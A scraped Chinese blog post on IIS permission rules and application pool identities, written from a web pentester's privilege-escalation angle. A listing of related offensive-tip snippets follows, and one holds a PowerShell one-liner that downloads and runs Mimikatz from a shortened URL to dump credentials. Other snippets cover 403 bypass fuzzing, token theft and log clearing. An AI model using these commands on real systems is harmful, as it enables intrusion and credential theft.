加油努力拉屎放屁
加油努力拉屎放屁

iis如何更加的安全配置

准则：
1.目录有写入权限，一定不要分配执行权限
2.目录有执行权限，一定不要分配写入权限

现在来算 自己学web安全 也差不多学了快半年了 在提权方面还是没有更多办法 每次自己拿站 运气好的话 可以进行命令执行 这种情况来说是比较好的 我们可以直接尝试去提权 反弹个meterpreter 直接比较exp 进行exp提权 再不济也有各种方法可以去尝试尝试

但是如果我们一开始拿到的站 根本没有权限去执行命令的话 这时候就需要去考虑各种各样的方面了 到底是waf在作怪呢 还是权限的问题呢 还是cmd被删除无法访问呢 然后再考虑解决的问题 环境是asp php aspx jsp 如果asp的话组件提权等等 php的话一般都是disable function 在作怪 waf的话可能头就痛起来了 说到底提权也是一门学问 重在信息搜集

在这次我感觉可能直接能难倒一大片的人了 所以知己知彼百战百胜对于iis的话 我感觉我们应该先去了解权限为什么会这样子 为什么命令会执行不了 为什么无法跨目录 为什么等等的问题？ 要不然大家难道不会感觉直接去提权会觉得怪怪的吗。。。

这里我首先问大家一个问题 一般我们拿到站 whoami显示出的NetworkService这个是什么呢？

我平常就听到大家说这个是权限 其实我听的是一脸懵逼 权限？？ 但是是啥意思 权限的意思就相当于用户的意思吗？
但是我昨天自己配置的时候 发现原来的用户里面又是没有这个NetworkService这个用户的呢 那又是啥情况？查资料发现这里的问题其实就关于到iis本身的应用程序池标识解析(程序池账户) 这个了 当我们创建网站的时候都需要程序池 这里程序池的作用 就是相当于一个容器 用于承载站点的作用 （ps 这里是个人见解 不要喷俺啊 俺才18岁）

在这里我搭建的是iis7.5 就是win2008 r2 的系统
IIS7.5中(仅win7,win2008 SP2,win2008 R2支持)，应用程序池的运行帐号，除了指定为LocalService,LocalSystem,NetWorkService这三种基本类型外，还新增了一种ApplicationPoolIdentify

这里就有四个账号 localsystem的权限就相当于系统权限system
localservice 和ApplicationPoolIdentify和NetWorkService 权限不大不小刚刚好 这里是我的理解
正常的我们都是默认的配置 NetWorkService这个权限

现在我们又返回到之前的问题 那么发现原来的用户里面又是没有这个NetworkService这个用户的呢 那又是啥情况？

系统动态创建的“虚拟”帐号(说它是虚拟的，是因为在用户管理里看不到该用户或用户组，在命令行下输入net user也无法显示，但该帐号又是确实存在的)

我们打开任务管理器 发现有个w3wp.exe即iis进程 如果你此时是NetWorkService 那你会发现此时任务管理器中w3wp.exe右边的用户名则为NetWorkService

如果我们想发现这个NetWorkService 到底是哪来的话 其实也有方法 我们去添加用户 然后查找 再点击立刻查找(我这里就不做图片解释了 大家都是玩渗透的 应该都懂的) 然后找到NetWorkService 添加就可以了 其实这个就是我们虚拟账号里面的NetWorkService 这个用户 一样可以进行配置

一般的虚拟主机的话 一般都是每个站点都创建一个用户然后把用户都隶属于guest组 然后再进行一系列的目录权限的控制 命令的控制 组件的删除 让你欲罢不能 其实就是我自己的理解 我也不是提权大佬

1、当发现自己有列目录的权限的时候 但是发现每个除了自己当前的目录（其他目录都不写）或者除了当前目录（其他目录都不写）那么就是管理员的操作就是限定了文件夹的权限操作

你可能感兴趣的:(渗透技巧)

  • 渗透技巧之403绕过【总结】 gaynell 总结系统安全安全web安全其他
    文章目录渗透技巧之403绕过【总结】0x01前言0x02背景1.什么是网页403？2.什么是403绕过？3.造成403的成因0x03绕过方式1.绕过IP限制2.url覆盖绕过3.扩展名绕过（路径fuzz）4.更换协议版本5.HTTP请求方法fuzz6.修改Referer7.修改user-agent8.常用自动化工具0x04实战分析渗透技巧之403绕过【总结】0x01前言免责声明：请勿利用文章内的相
  • 渗透技巧之403绕过_指纹识别 NL0ck_S 渗透测试网络安全chromefirefoxsafari
    403绕过清单FFUF路径模糊测试ffuf-w403_url_payloads.txt-uhttp://example.com/auth_pathFUZZ-fc403,401,400HTTP标头模糊测试ffuf-w403_bypass_header_names.txt:HEADER-w403_bypass_header_values.txt:VALUE-uhttp://example.com/au
  • 【渗透技巧】资产探测及信息收集 hacker鬼七 网络安全web安全网络
    一、前言在众测中，基本上SRC的漏洞收集范围有如下几种形式：形式一：暂时仅限以下系统：www.xxx.com,其他域名不在此次测试范围内形式二：只奖励与*.xxx.com相关的漏洞形式三：无限制形式一，基本被限定了范围形式二，注重于子域名的收集形式三，子域名及相关域名的收集另外，随着企业内部业务的不断壮大，各种业务平台和管理系统越来越多，很多单位往往存在着“隐形资产”，这些“隐形资产”通常被管理员
  • 从 Admin 权限切换到 System 权限 老白_ 系统系统权限
    渗透技巧——从Admin权限切换到System权限0x00前言在渗透测试中，某些情况下需要用到system权限，例如操作注册表HKEY_LOCAL_MACHINESAMSAM恰巧最近看到了一篇文章介绍了几种获得system权限的方法，于是决定结合自己的经验对这方面的技巧做系统整理当然，前提是已经获得系统的管理员权限学习链接：https://blog.xpnsec.com/becoming-syst
  • 渗透测试面试、渗透技巧 艾欧尼亚归我了 渗透
    一、思路流程1、信息收集a、服务器的相关信息（真实ip，系统类型，版本，开放端口，WAF等）b、网站指纹识别（包括，cms，cdn，证书等），dns记录c、whois信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等）e、子域名收集，旁站，C段等f、googlehacking针对化搜索，pdf文件，中间件版本，弱口令扫描等g、扫描网站目录结构，爆后台，网站banner，测试文件，备份等敏感
  • 渗透测试面试问题2021版，内含大量渗透技巧 渗透测试老鸟-九青 网络安全面试渗透测试网络安全pythonphpweb安全
    目录思路流程信息收集漏洞挖掘漏洞利用&权限提升清除测试数据&输出报告复测问题1.拿到一个待检测的站，你觉得应该先做什么？2.判断出网站的CMS对渗透有什么意义？3.一个成熟并且相对安全的CMS，渗透时扫目录的意义？4.常见的网站服务器容器。5.mysql注入点，用工具对目标站直接写入一句话，需要哪些条件？6.目前已知哪些版本的容器有解析漏洞，具体举例。7.如何手工快速判断目标站是windows还是
  • 2021Web安全面试题大全（附答案详解）看完稳了 大明湖畔的九青 面试分享面试java网络安全web安全渗透测试
    人人都有一个进大厂的梦想，而进大厂的门槛也可想而知，所以这里整理了一份安全大厂的面试大全，看完文章如果对你有帮助的话希望能够点赞+收藏+关注！感谢！本篇文章对于学习Web安全的朋友来说应该是目前最全面的面试题合集了，后续也会陆续更新其他大厂的面试题目和知识点。另外我还整理了许多关于Web安全的学习资料+工具包等等，需要的点击Web安全学习一、渗透测试面试题，包含大量渗透技巧1.拿到一个待检测的站，
  • rsync的几则tips（渗透技巧） Coisini、 实战篇
    关于rsyncrsync(remotesynchronize)——Linux下实现远程同步功能的软件，能同步更新两处计算机的文件及目录。在同步文件时，可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新，因此使用人群多为开发人员；而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。rsync默认配置文件为/etc/rsyncd.conf，
  • 渗透技巧——Token窃取与利用 weixin_30312557
    作者:print("")分类:信息安全发布时间:2018-06-0217:21编辑0x00前言在之前的文章《渗透技巧——程序的降权启动》介绍了使用SelectMyParent降权的方法，本质上是通过token窃取实现的。这一次将要对token窃取和利用做进一步介绍，测试常用工具，分享利用技巧。0x01简介本文将要介绍以下内容;Token简介Metasploit中的incognitoWindows平
  • 内网渗透----Token 窃取与利用 浅笑⁹⁹⁶ #内网技巧
    0x00前言在之前的文章《渗透技巧——程序的降权启动》介绍了使用SelectMyParent降权的方法，本质上是通过token窃取实现的。这一次将要对token窃取和利用做进一步介绍，测试常用工具，分享利用技巧。0x01简介本文将要介绍以下内容;·Token简介·Metasploit中的incognito·Windows平台下的incognito·Invoke-TokenManipulation.
  • 红蓝对抗之域名搜集方法总结 腾讯安全应急响应中心
    作者：腾讯蓝军实习生jax、yhy、A1oe前言在历次HW、红蓝对抗、渗透测试项目中，外网的信息收集是至关重要的一个环节，外网打点信息收集全面了，可能会有四两拨千斤效果，直接突破外网边界进入内网。最近我们三人加入腾讯蓝军学习渗透技巧，导师让我们对域名资产收集方式做一次全面梳理研究。子域名是域名信息收集的一个重要部分，在防御措施严密情况下我们无法直接拿下主域名，那么就可以采用迂回战术拿下子域名，然后
  • 【内网渗透】域渗透技巧 => 第三方工具API qq_27446553 Windows渗透
    前言域管理进程转移，使得渗透测试人员能够模拟在互联网上的域名管理员账户进行操作。尽管如此，在渗透测试开始之前需要确认系统中进程是否运行。在这篇博文中，我讲介绍5个技巧来帮助大家去做这些事情。本地检测查询活跃的域控制器扫描远程系统上运行的任务扫描远程系统上NetBIOS信息PSExec扫描远程系统上的身份验证令牌获取域名管理员权限在大多数情况下，本篇文章关注的焦点在于识别运行于域名管理进程的系统。以
  • BT5中MSF很强大的一个工具 小-龟
    Byadmin¶Postedin入侵渗透技巧¶Leaveareply综合扫描服务器的软件MSF(在线攻击)msfconsole进入db_nmap-TAggressive-sV-n-O-vIP（调用nmap扫描指定ip）db_hosts（nmap的结果自动保存在hosts中）db_autopwn-p-t-e-Iip(指定IP攻击-指定IP只局限与hosts里面指定的)db_autopwn-p-t-e
  • LINUX渗透与提权总结 weixin_34255793
    本文为Linux渗透与提权技巧总结篇，旨在收集各种Linux渗透技巧与提权版本，方便各位同学在日后的渗透测试中能够事半功倍。Linux系统下的一些常见路径：001/etc/passwd002003/etc/shadow004005/etc/fstab006007/etc/host.conf008009/etc/motd010011/etc/ld.so.conf012013/var/www/htdo
  • 各种提权、渗透经验技巧总结大全(下) netsec_steven
    liunx相关提权渗透技巧总结，一、ldap渗透技巧：1.cat/etc/nsswitch看看密码登录策略我们可以看到使用了fileldap模式2.less/etc/ldap.confbaseou=People,dc=unix-center,dc=net找到ou,dc,dc设置3.查找管理员信息匿名方式ldapsearch-x-D“cn=administrator,cn=People,dc=uni
  • Linux渗透技巧+实战 god_7z1 LinuxHacking
    一.ldap渗透技巧1.cat/etc/nsswitch看看密码登录策略我们可以看到使用了fileldap模式2.less/etc/ldap.confbaseou=People,dc=unix-center,dc=net找到ou,dc,dc设置3.查找管理员信息匿名方式ldapsearch-x-D“cn=administrator,cn=People,dc=unix-center,dc=net”-
  • 渗透技巧——Windows日志的删除与绕过 weixin_34160277
    本文讲的是渗透技巧——Windows日志的删除与绕过，0x00前言在渗透测试过程中，Windows日志往往会记录系统上的敏感操作，如添加用户，远程登录执行等。对于一次完整的渗透测试，通常会选择对Windows日志进行清除和绕过，而对于防御者来说，了解常用的绕过方法也有助于更好的保护自己的系统。所以本文将要介绍常见的Windows日志清除与绕过方法，分享经验，帮助大家。0x01简介本文将要介绍以下内
  • 渗透技巧总结 bit小兵
    旁站路径问题1、读网站配置。2、用以下VBSOnErrorResumeNextIf(LCase(Right(WScript.Fullname,11))="wscript.exe")ThenMsgboxSpace(12)&"IISVirtualWebViewer"&Space(12)&Chr(13)&Space(9)&"Usage:CscriptvWeb.vbs",4096,"Lilo"WScrip
  • 渗透技巧：Windows平台运行Masscan和Nmap weixin_34185364
    本文讲的是渗透技巧：Windows平台运行Masscan和Nmap，0x00前言在内网渗透中，信息搜集尤为重要。面对内网的复杂环境，虽说网络扫描容易暴露自己，但通过扫描可以发现内网的存活主机、开放端口，运行服务、操作系统等信息，为进一步渗透奠定基础。扫描工具的选取，不仅要考虑功能，更要考虑工具的适用性。现实中的跳板通常并不是一台Linux服务器，没有合适的环境安装Nmap、Zmap和Masscan
  • VMware Workstation 中安装metasploitable 2 xyyz.. 虚拟机渗透metasploitable
    脆弱系统（vulnerableserver）——一台存在很多漏洞的虚拟主机。也叫做靶机。用于练习渗透技巧，了解主机漏洞。这里安装的靶机是metasploitable-linux-2.0.0，安装过程如下：1、https://sourceforge.net/projects/metasploitable/，官网下载安装包：metasploitable-linux-2.0.0.zip2、解压metas
  • 内网渗透技巧 mirror97black 内网渗透
    通过powershell运行mimikatzpowershell"IEX(New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"获取hash之后，解出明文密码将目标机器共享盘映射到本地的h盘netuseh:\\ip\c$"密码"/user:"用户名"注意，映射盘对方也可以看到
  • 【渗透技巧】资产探测及信息收集 Bypass-- 渗透测试
    一、前言在众测中，基本上SRC的漏洞收集范围有如下几种形式：形式一：暂时仅限以下系统：www.xxx.com,其他域名不在此次测试范围内形式二：只奖励与*.xxx.com相关的漏洞形式三：无限制形式一，基本被限定了范围形式二，注重于子域名的收集形式三，子域名及相关域名的收集另外，随着企业内部业务的不断壮大，各种业务平台和管理系统越来越多，很多单位往往存在着“隐形资产”，这些“隐形资产”通常被管理员
  • web狗日记之Vulnhub-five86-2 传说中的彩虹海 你di韩商言运维linuxshellpython安全
    主要考察：1、wpcms渗透技巧2、Wpcms插件漏洞的使用3、流量捕获以及分析4、Linux提权Vulnhub官网速度感人，朋友给了这个站点，下载比较快点：http://five86.com/five86-2.html导入到虚拟机里，ip貌似为动态分配，网卡我习惯设置为桥接模式，于是nmap扫出d段，这个不用废话了，也没截图。找到ip登录主站的时候，去说明前看了看，大概了解，不是那种右键源代码就
  • 总结16种网站渗透技巧经验分享 weixin_30633949
    1.利用网站过滤不严直接绕过后台验证，在网站后面加上admin/session.asp或admin/left.asp2.有的网站进后台会出现一个脚本提示框，输入：administrator即可突破！因为admin代表以管理员身份进入的意思。3.有的网站开了3389，入侵之前先去连接3389，尝试弱口令或是爆破，再者就是按5次shift键，看看有没前人装过后门，然后再社工密码。4.有时候进后台会弹出
  • 渗透技巧——获得Powershell命令的历史记录 systemino
    0x00前言我在最近的学习过程中，发现Powershell命令的历史记录有时会包含系统敏感信息，例如远程服务器的连接口令，于是我对Powershell的历史记录功能做了进一步研究，总结一些渗透测试中常用导出历史记录的方法，结合利用思路，给出防御建议。0x01简介本文将要介绍以下内容：·两种Powershell命令的历史记录·导出Powershell命令历史记录的方法·防御建议0x02两种Power
  • 各种渗透,提权的经验和技巧总结（中） eudemon_cn 网络杂谈入侵防护
    liunx相关提权渗透技巧总结，一、ldap渗透技巧：1.cat/etc/nsswitch看看密码登录策略我们可以看到使用了fileldap模式2.less/etc/ldap.confbaseou=People,dc=unix-center,dc=net找到ou,dc,dc设置3.查找管理员信息匿名方式ldapsearch-x-D"cn=administrator,cn=People,dc=uni
  • 【PHP渗透技巧拓展】————2、利用 Gopher 协议拓展攻击面 FLy_鹏程万里 【渗透测试拓展】———PHP相关技巧
    1概述Gopher协议是HTTP协议出现之前，在Internet上常见且常用的一个协议。当然现在Gopher协议已经慢慢淡出历史。Gopher协议可以做很多事情，特别是在SSRF中可以发挥很多重要的作用。利用此协议可以攻击内网的FTP、Telnet、Redis、Memcache，也可以进行GET、POST请求。这无疑极大拓宽了SSRF的攻击面。2攻击面测试2.1环境IP:172.19.23.218
  • 2017年9月3日——周总结 FKTX
    一周回顾：上周只能用一个词语来形容，就是杂乱。思想杂乱，内心浮躁。一口饭吃不成胖子，我却妄想一步登天。我学了什么？WAF？IPS?还是防火墙？还是绕WAF等各种渗透方法？是的，我好像都学了，但是，又好像都没学。为什么这么说？因为我每个都是没有学精，没有学踏实。学WAF又去了解了IPS，学了IPS又去了解了防火墙，了解防火墙的同时又去了解了渗透技巧。杂乱无序，没有规划，学习效果自然很差。原因出自哪里
  • 渗透技巧--通过cmd上传文件的N种方法 Bugl0v3r
    渗透技巧--通过cmd上传文件的N种方法1.debugdebug是一个程序调试工具，功能包括：（win7以上版本好像没有）直接输入，更改，跟踪，运行汇编语言源程序观察操作系统的内容查看ROMBIOS的内容观察更改RAM内部的设置值以扇区或文件的方式读写软盘数据特别的是它还有一个功能可以将十六进制代码转换为可执行文件：hex思路：把需要上传的exe转换成十六进制hex的形式通过echo命令将hex代
  • 我的渗透装备 yo_哥
    @[渗透技巧,yoyoyang]终级渗透BOSSPentestBox(windows)kalilinuxChromeF12，打开开发者工具，功能==Firebug+本地存储观察等SwitchSharp插件，代理必备postman插件，接口调试工具（RESTClient）FirefoxFirebug，调试JS，HTTP请求响应观察，Cookie，DOM树观察等ProxySwitcher，代理必备ha
  • 解读Servlet原理篇二---GenericServlet与HttpServlet 周凡杨 javaHttpServlet源理GenericService源码
    在上一篇《解读Servlet原理篇一》中提到，要实现javax.servlet.Servlet接口（即写自己的Servlet应用），你可以写一个继承自javax.servlet.GenericServletr的generic Servlet ，也可以写一个继承自java.servlet.http.HttpServlet的HTTP Servlet（这就是为什么我们自定义的Servlet通常是exte
  • MySQL性能优化 bijian1013 数据库mysql
            性能优化是通过某些有效的方法来提高MySQL的运行速度，减少占用的磁盘空间。性能优化包含很多方面，例如优化查询速度，优化更新速度和优化MySQL服务器等。本文介绍方法的主要有：         a.优化查询         b.优化数据库结构  
  • ThreadPool定时重试 dai_lm javaThreadPoolthreadtimertimertask
    项目需要当某事件触发时，执行http请求任务，失败时需要有重试机制，并根据失败次数的增加，重试间隔也相应增加，任务可能并发。 由于是耗时任务，首先考虑的就是用线程来实现，并且为了节约资源，因而选择线程池。 为了解决不定间隔的重试，选择Timer和TimerTask来完成 package threadpool; public class ThreadPoolTest {
  • Oracle 查看数据库的连接情况 周凡杨 sqloracle 连接
    首先要说的是，不同版本数据库提供的系统表会有不同，你可以根据数据字典查看该版本数据库所提供的表。 select * from dict where table_name like '%SESSION%'; 就可以查出一些表，然后根据这些表就可以获得会话信息 select sid,serial#,status,username,schemaname,osuser,terminal,ma
  • 类的继承 朱辉辉33 java
    类的继承可以提高代码的重用行，减少冗余代码；还能提高代码的扩展性。Java继承的关键字是extends 格式:public class 类名（子类）extends 类名（父类）{ } 子类可以继承到父类所有的属性和普通方法，但不能继承构造方法。且子类可以直接使用父类的public和 protected属性，但要使用private属性仍需通过调用。 子类的方法可以重写，但必须和父类的返回值类
  • android 悬浮窗特效 肆无忌惮_ android
    最近在开发项目的时候需要做一个悬浮层的动画，类似于支付宝掉钱动画。但是区别在于，需求是浮出一个窗口，之后边缩放边位移至屏幕右下角标签处。效果图如下：   一开始考虑用自定义View来做。后来发现开线程让其移动很卡，ListView+动画也没法精确定位到目标点。   后来想利用Dialog的dismiss动画来完成。   自定义一个Dialog后，在styl
  • hadoop伪分布式搭建 林鹤霄 hadoop
    要修改4个文件    1: vim hadoop-env.sh  第九行    2: vim core-site.xml            <configuration>     &n
  • gdb调试命令 aigo gdb
    原文：http://blog.csdn.net/hanchaoman/article/details/5517362   一、GDB常用命令简介   r run 运行.程序还没有运行前使用 c             cuntinue 
  • Socket编程的HelloWorld实例 alleni123 socket
    public class Client { public static void main(String[] args) { Client c=new Client(); c.receiveMessage(); } public void receiveMessage(){ Socket s=null; BufferedRea
  • 线程同步和异步 百合不是茶 线程同步异步
    多线程和同步 : 如进程、线程同步，可理解为进程或线程A和B一块配合，A执行到一定程度时要依靠B的某个结果，于是停下来，示意B运行；B依言执行，再将结果给A；A再继续操作。 所谓同步，就是在发出一个功能调用时，在没有得到结果之前，该调用就不返回，同时其它线程也不能调用这个方法   多线程和异步:多线程可以做不同的事情,涉及到线程通知     &
  • JSP中文乱码分析 bijian1013 javajsp中文乱码
            在JSP的开发过程中，经常出现中文乱码的问题。         首先了解一下Java中文问题的由来：         Java的内核和class文件是基于unicode的，这使Java程序具有良好的跨平台性，但也带来了一些中文乱码问题的麻烦。原因主要有两方面，
  • js实现页面跳转重定向的几种方式 bijian1013 JavaScript重定向
            js实现页面跳转重定向有如下几种方式： 一.window.location.href <script language="javascript"type="text/javascript"> window.location.href="http://www.baidu.c
  • 【Struts2三】Struts2 Action转发类型 bit1129 struts2
     在【Struts2一】 Struts Hello World http://bit1129.iteye.com/blog/2109365中配置了一个简单的Action，配置如下   <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configurat
  • 【HBase十一】Java API操作HBase bit1129 hbase
    Admin类的主要方法注释：   1. 创建表 /** * Creates a new table. Synchronous operation. * * @param desc table descriptor for table * @throws IllegalArgumentException if the table name is res
  • nginx gzip ronin47 nginx gzip
    Nginx GZip 压缩 Nginx GZip 模块文档详见：http://wiki.nginx.org/HttpGzipModule 常用配置片段如下： gzip on; gzip_comp_level 2; # 压缩比例，比例越大，压缩时间越长。默认是1 gzip_types text/css text/javascript; # 哪些文件可以被压缩 gzip_disable &q
  • java-7.微软亚院之编程判断俩个链表是否相交 给出俩个单向链表的头指针，比如 h1 ， h2 ，判断这俩个链表是否相交 bylijinnan java
    public class LinkListTest { /** * we deal with two main missions: * * A. * 1.we create two joined-List(both have no loop) * 2.whether list1 and list2 join * 3.print the join
  • Spring源码学习-JdbcTemplate batchUpdate批量操作 bylijinnan javaspring
    Spring JdbcTemplate的batch操作最后还是利用了JDBC提供的方法，Spring只是做了一下改造和封装 JDBC的batch操作： String sql = "INSERT INTO CUSTOMER " + "(CUST_ID, NAME, AGE) VALUES (?, ?, ?)";
  • [JWFD开源工作流]大规模拓扑矩阵存储结构最新进展 comsci 工作流
        生成和创建类已经完成,构造一个100万个元素的矩阵模型,存储空间只有11M大,请大家参考我在博客园上面的文档"构造下一代工作流存储结构的尝试",更加相信的设计和代码将陆续推出.........     竞争对手的能力也很强.......,我相信..你们一定能够先于我们推出大规模拓扑扫描和分析系统的....
  • base64编码和url编码 cuityang base64url
    import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.io.StringWriter; import java.io.UnsupportedEncodingException;
  • web应用集群Session保持 dalan_123 session
    关于使用 memcached 或redis 存储 session ，以及使用 terracotta 服务器共享。建议使用 redis，不仅仅因为它可以将缓存的内容持久化，还因为它支持的单个对象比较大，而且数据类型丰富，不只是缓存 session，还可以做其他用途，一举几得啊。1、使用 filter 方法存储这种方法比较推荐，因为它的服务器使用范围比较多，不仅限于tomcat ，而且实现的原理比较简
  • Yii 框架里数据库操作详解-[增加、查询、更新、删除的方法 'AR模式'] dcj3sjt126com 数据库
        public function getMinLimit () {        $sql = "...";        $result = yii::app()->db->createCo
  • solr StatsComponent（聚合统计） eksliang solr聚合查询solr stats
    StatsComponent 转载请出自出处：http://eksliang.iteye.com/blog/2169134 http://eksliang.iteye.com/ 一、概述        Solr可以利用StatsComponent 实现数据库的聚合统计查询，也就是min、max、avg、count、sum的功能   二、参数
  • 百度一道面试题 greemranqq 位运算百度面试寻找奇数算法bitmap 算法
    那天看朋友提了一个百度面试的题目：怎么找出{1,1,2,3,3,4,4,4,5,5,5,5}  找出出现次数为奇数的数字.   我这里复制的是原话，当然顺序是不一定的，很多拿到题目第一反应就是用map,当然可以解决，但是效率不高。   还有人觉得应该用算法xxx,我是没想到用啥算法好...！   还有觉得应该先排序...   还有觉
  • Spring之在开发中使用SpringJDBC ihuning spring
      在实际开发中使用SpringJDBC有两种方式：   1. 在Dao中添加属性JdbcTemplate并用Spring注入；     JdbcTemplate类被设计成为线程安全的，所以可以在IOC 容器中声明它的单个实例，并将这个实例注入到所有的 DAO 实例中。JdbcTemplate也利用了Java 1.5 的特定(自动装箱，泛型，可变长度
  • JSON API 1.0 核心开发者自述 | 你所不知道的那些技术细节 justjavac json
    2013年5月，Yehuda Katz 完成了JSON API(英文，中文) 技术规范的初稿。事情就发生在 RailsConf 之后，在那次会议上他和 Steve Klabnik 就 JSON 雏形的技术细节相聊甚欢。在沟通单一 Rails 服务器库—— ActiveModel::Serializers 和单一 JavaScript 客户端库——&
  • 网站项目建设流程概述 macroli 工作
    一.概念 网站项目管理就是根据特定的规范、在预算范围内、按时完成的网站开发任务。 二.需求分析 项目立项 　　我们接到客户的业务咨询，经过双方不断的接洽和了解，并通过基本的可行性讨论够，初步达成制作协议，这时就需要将项目立项。较好的做法是成立一个专门的项目小组，小组成员包括：项目经理，网页设计，程序员，测试员，编辑/文档等必须人员。项目实行项目经理制。 客户的需求说明书 　　第一步是需
  • AngularJs 三目运算 表达式判断 qiaolevip 每天进步一点点学习永无止境众观千象AngularJS
    事件回顾：由于需要修改同一个模板，里面包含2个不同的内容，第一个里面使用的时间差和第二个里面名称不一样，其他过滤器，内容都大同小异。希望杜绝If这样比较傻的来判断if-show or not，继续追究其源码。 var b = "{{", a = "}}"; this.startSymbol = function(a) {
  • Spark算子：统计RDD分区中的元素及数量 superlxw1234 sparkspark算子Spark RDD分区元素
    关键字：Spark算子、Spark RDD分区、Spark RDD分区元素数量     Spark RDD是被分区的，在生成RDD时候，一般可以指定分区的数量，如果不指定分区数量，当RDD从集合创建时候，则默认为该程序所分配到的资源的CPU核数，如果是从HDFS文件创建，默认为文件的Block数。   可以利用RDD的mapPartitionsWithInd
  • Spring 3.2.x将于2016年12月31日停止支持 wiselyman Spring 3
                  Spring 团队公布在2016年12月31日停止对Spring Framework 3.2.x（包含tomcat 6.x）的支持。在此之前spring团队将持续发布3.2.x的维护版本。          请大家及时准备及时升级到Spring
  • fis纯前端解决方案fis-pure zccst JavaScript
    作者：zccst FIS通过插件扩展可以完美的支持模块化的前端开发方案，我们通过FIS的二次封装能力，封装了一个功能完备的纯前端模块化方案pure。 1，fis-pure的安装 $ fis install -g fis-pure $ pure -v 0.1.4 2，下载demo到本地 git clone https://github.com/hefangshi/f
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他